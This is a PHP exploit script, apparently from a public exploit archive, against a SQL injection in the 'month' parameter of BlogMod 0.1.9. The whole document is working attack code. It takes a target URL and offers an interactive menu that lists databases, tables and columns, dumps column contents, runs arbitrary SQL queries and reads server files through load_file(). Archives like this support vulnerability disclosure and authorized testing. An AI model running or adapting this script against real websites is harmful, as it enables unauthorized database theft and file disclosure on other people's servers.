Blog Mod 0.1.9 - 'index.php?month' SQL Injection

<?php
/*
# Exploit Title: BlogMod <= 0.1.9 SQLi Exploit
# Date: 04th october 2012
# Exploit Author: WhiteCollarGroup
# Software Link: http://www.codigofonte.net/scripts/php/blog/367_blog-mod
# Version: 0.1.9


~> How does this exploit works?
	It exploits one of the several SQL Injections in the system.
	Specifiedly, in the file "index.php", parr "month".
	
Usage:
	php filename.php
*/
function puts($str) {
    echo $str."\n";
}

function gets() {
	return trim(fgets(STDIN));
}
 
function hex($string){
    $hex=''; // PHP 'Dim' =]
    for ($i=0; $i < strlen($string); $i++){
        $hex .= dechex(ord($string[$i]));
    }
    return '0x'.$hex;
}

$token = uniqid();
$token_hex = hex($token);

puts("BlogMod <= X SQL Injection Exploit");
puts("By WhiteCollarGroup");

puts("[?] Enter website URL (e. g.: http://www.target.com/blogmod/):");
$target = gets();

puts("[*] Checking...");
if(!@file_get_contents($target)) die("[!] Access error: check domain and path.");

if(substr($target, (strlen($target)-1))!="/") $target .= "/";

function runquery($query) {
	global $target,$token,$token_hex;
	
	$query = preg_replace("/;$/", null, $query);
	
	$query = urlencode($query);
	$rodar = $target . "index.php?year=2012&month=-0%20union%20all%20select%201,2,concat%28$token_hex,%28$query%29,$token_hex%29,4,5,6--%20";
	$get = file_get_contents($rodar);
	$matches = array();
	preg_match_all("/$token(.*)$token/", $get, $matches);
	if(isset($matches[1][0]))
		return $matches[1][0];
	else
		return false;
}

if(runquery("SELECT $token_hex")!=$token) {
	// error
	exit;
}

function main($msg=null) {
	global $token,$token_hex;
	
	echo "\n".$msg."\n";
	puts("[>] MAIN MENU");
	puts("[1] Browse MySQL");
	puts("[2] Run SQL Query");
	puts("[3] Read file");
	puts("[4] About");
	puts("[0] Exit");
	$resp = gets();

	if($resp=="0")
		exit;
	elseif($resp=="1") {
		
		// pega dbs
		$i = 0;
		puts("[.] Getting databases:");
		while(true) {
			$pega = runquery("SELECT schema_name FROM information_schema.schemata LIMIT $i,1");
			if($pega)
				puts(" - ".$pega);
			else
				break;
				
			$i++;
		}
		
		puts("[!] Current database: ".runquery("SELECT database()"));
		puts("[?] Enter database name for select:");
		$own = array();
		$own['db'] = gets();
		$own['dbh'] = hex($own['db']);
		
		// pega tables da db
		$i = 0;
		puts("[.] Getting tables from $own[db]:");
		while(true) {
			$pega = runquery("SELECT table_name FROM information_schema.tables WHERE table_schema=$own[dbh] LIMIT $i,1");
			if($pega)
				puts(" - ".$pega);
			else
				break;
				
			$i++;
		}
		puts("[?] Enter table name for select:");
		$own['tb'] = gets();
		$own['tbh'] = hex($own['tb']);
		
		// pega colunas da table
		$i = 0;
		puts("[.] Getting columns from $own[db].$own[tb]:");
		while(true) {
			$pega = runquery("SELECT column_name FROM information_schema.columns WHERE table_schema=$own[dbh] AND table_name=$own[tbh] LIMIT $i,1");
			if($pega)
				puts(" - ".$pega);
			else
				break;
				
			$i++;
		}
		puts("[?] Enter columns name, separated by commas (\",\") for select:");
		$own['cl'] = explode(",", gets());
		
		// pega dados das colunas
		
		foreach($own['cl'] as $coluna) {
			$i = 0;
			puts("[=] Column: $coluna");
			while(true) {
				$pega = runquery("SELECT $coluna FROM $own[db].$own[tb] LIMIT $i,1");
				if($pega) {
					puts(" - $pega");
					$i++;
				} else
					break;
			}
			
			echo "\n[ ] -+-\n";
		}
		
		main();
		
	} elseif($resp=="2") {
		puts("[~] RUN SQL QUERY");
		puts("[!] You can run a SQL code. It can returns a one-line and one-column content. You can also use concat() or group_concat().");
		puts("[?] Query (enter for exit): ");
		$query = gets();
		if(!$query) main();
		else main(runquery($query."\n"));
	} elseif($resp=="3") {
		puts("[?] File path (may not have priv):");
		$file = hex(gets());
		$le = runquery("SELECT load_file($file) AS wc");
		if($le)
			main($le);
		else
			main("File not found, empty or no priv!");
			
	} elseif($resp=="4") {
		puts("Coded by WhiteCollarGroup");
		puts("www.wcgroup.host56.com");
		puts("[email protected]");
		puts("twitter.com/WCollarGroup");
		puts("facebook.com/WCollarGroup");
		puts("wcollargroup.blogspot.com");
		main();
	}
	else
		main("[!] Wrong choice.");
}

main();